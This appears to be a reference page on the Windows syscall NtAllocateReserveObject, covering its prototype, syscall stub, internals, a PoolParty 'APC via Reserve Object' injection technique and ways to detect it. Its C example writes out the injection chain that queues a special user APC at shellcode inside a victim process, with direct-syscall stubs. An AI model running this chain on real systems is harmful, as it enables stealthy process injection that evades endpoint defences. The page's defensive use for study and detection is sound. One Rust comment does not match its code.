NtAllocateReserveObject

Prototype

NTSTATUS NtAllocateReserveObject(
  PHANDLE             Handle,
  POBJECT_ATTRIBUTES  ObjectAttributes,
  MEMORY_RESERVE_TYPE Type
);

Arguments

Syscall IDs by Windows version

Syscall stub

4C 8B D1            mov r10, rcx
B8 74 00 00 00      mov eax, 0x74      ; Win11 24H2 SSN
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

Returns a handle to a `KAPC_RESERVE_OBJECT` (Type=0) or `IO_COMPLETION_RESERVE` (Type=1). The point is that allocating a `KAPC` (or an `IO_COMPLETION_PACKET`) at the moment an APC must be queued can fail if the pool is exhausted — which would otherwise force the caller to choose between dropping the APC or crashing. Reserve objects move that allocation forward to a time when failure is recoverable; the actual `NtQueueApcThreadEx`/`NtSetIoCompletionEx` call then reuses the pre-allocated object via the dedicated `*Ex` paths that accept a reserve handle in their first parameter. Documented by Microsoft only for `IO_COMPLETION` (via `CreateIoCompletionEx` family); the APC reserve flavor is undocumented but widely used internally and very stable across builds — SSN moved only once between Win10 1909 and Win11 24H2.

Common malware usage

PoolParty research (SafeBreach Labs, Black Hat EU 2023) productionized the offensive use. **PoolParty Variant 6 — "APC via Reserve Object"** chains: `NtAllocateReserveObject(MemoryReserveUserApc)` → duplicate the handle into the target process with `NtDuplicateObject` → `NtQueueApcThreadEx2` against a worker thread inside the target, passing the duplicated reserve handle as the first argument so the kernel reuses the pre-allocated KAPC instead of allocating fresh. The advantage over classic `QueueUserAPC` injection is that there is no failure window where the APC allocation could be denied by ETW Threat-Intelligence callbacks or by pool-protection drivers — the object already exists and is bound to the right thread. Several red-team frameworks have since absorbed the technique.

Detection opportunities

`NtAllocateReserveObject` is exceedingly rare in normal user-mode call traces — the OS itself uses it sparingly in `kernel32!CreateThreadpoolIoEx` and a few RPC paths. ETW Microsoft-Windows-Kernel-Process does not surface it, but the *follow-on* primitive does: a duplicated handle of class `ReserveObject` showing up cross-process via `NtDuplicateObject` (Sysmon Event 10 with `GrantedAccess` and the handle-type column), or a `QueueUserAPC2`/`NtQueueApcThreadEx2` call where the first parameter is a foreign reserve handle, is the high-fidelity signature. EDRs that hook only the legacy `NtQueueApcThread` will miss this path entirely.

Direct syscall examples

// Step 1: pre-allocate the KAPC reserve in our own process.
HANDLE hReserve = NULL;
OBJECT_ATTRIBUTES oa = { sizeof(oa) };
NTSTATUS st = NtAllocateReserveObject(&hReserve, &oa,
                                      0 /* MemoryReserveUserApc */);
if (!NT_SUCCESS(st)) return st;

// Step 2: open the victim worker thread and duplicate the reserve handle in.
HANDLE hTargetProc   = /* OpenProcess on the chosen target  */;
HANDLE hTargetThread = /* an existing thread inside target */;
HANDLE hRemoteReserve = NULL;
st = NtDuplicateObject(NtCurrentProcess(), hReserve,
                       hTargetProc,       &hRemoteReserve,
                       0, 0, DUPLICATE_SAME_ACCESS);
if (!NT_SUCCESS(st)) return st;

// Step 3: queue our APC using the pre-allocated KAPC. NtQueueApcThreadEx2 lets us
// pin the APC to the special user-APC slot, which fires even on alertable-less threads.
st = NtQueueApcThreadEx2(hTargetThread,
                         hRemoteReserve,           // reuse our reserve
                         QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC,
                         (PPS_APC_ROUTINE)pShellcodeInTarget,
                         NULL, NULL, NULL);

; NtAllocateReserveObject direct syscall (Win11 24H2 SSN 0x74)
NtAllocateReserveObject PROC
    mov  r10, rcx
    mov  eax, 74h
    syscall
    ret
NtAllocateReserveObject ENDP

// Cargo: windows-sys = "0.59"
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::System::LibraryLoader::*;

type AllocReserveFn = unsafe extern "system" fn(
    *mut HANDLE, *const u8 /*POBJECT_ATTRIBUTES*/, u32 /*MEMORY_RESERVE_TYPE*/,
) -> i32;

unsafe fn reserve_iocp_packet() -> HANDLE {
    let nt = GetModuleHandleA(b"ntdll.dll\0".as_ptr());
    let f: AllocReserveFn = std::mem::transmute(
        GetProcAddress(nt, b"NtAllocateReserveObject\0".as_ptr()).unwrap()
    );
    let oa: [u8; 48] = [0; 48]; // OBJECT_ATTRIBUTES { Length=48, all-zero }
    let mut h: HANDLE = std::ptr::null_mut();
    let _ = f(&mut h, oa.as_ptr(), 1 /* MemoryReserveIoCompletion */);
    h
}

MITRE ATT&CK mappings

• T1055.004Process Injection: Asynchronous Procedure Callmitre ↗
• T1055Process Injectionmitre ↗
• T1106Native APImitre ↗